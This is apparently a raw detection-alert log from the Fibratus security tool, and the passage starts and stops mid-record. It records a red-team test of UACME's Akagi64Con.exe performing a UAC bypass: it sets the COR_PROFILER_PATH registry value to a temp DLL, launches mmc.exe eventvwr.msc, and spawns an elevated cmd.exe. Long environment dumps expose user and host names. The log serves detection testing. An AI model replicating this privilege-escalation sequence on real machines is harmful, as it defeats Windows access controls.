APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 85340 + Pid: 8304 + Tid: 6808 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-01 17:33:33.1728959 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 154b35000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808009c30080, name➜ cmd.exe, pid➜ 12080, ppid➜ 8304, real_ppid➜ 8304, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-01 17:33:33.1728224 +0100 CET, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 8304 + Ppid: 4600 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-01T17:33:37+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 85915 + Pid: 17980 + Tid: 9484 + Type: RegSetValue + CPU: 4 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 17:33:36.3224506 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb387b28a1ba0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 17980 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 86367 + Pid: 13820 + Tid: 7780 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-01 17:33:37.007825 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 2f1507000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808ff67430c0, name➜ cmd.exe, pid➜ 17344, ppid➜ 13820, real_ppid➜ 13820, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-01 17:33:37.007777 +0100 CET, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 13820 + Ppid: 17980 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT COR_ENABLE_PROFILING:1 COR_PROFILER:{ACE2983C-DD94-4852-8DE4-AAFDE59899EA} COR_PROFILER_PATH:C:\Users\nedo\AppData\Local\Temp\pe386.dll ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-01T17:34:00+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 87170 + Pid: 9316 + Tid: 11696 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 17:33:59.3266868 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb387b28a1ba0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 9316 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files 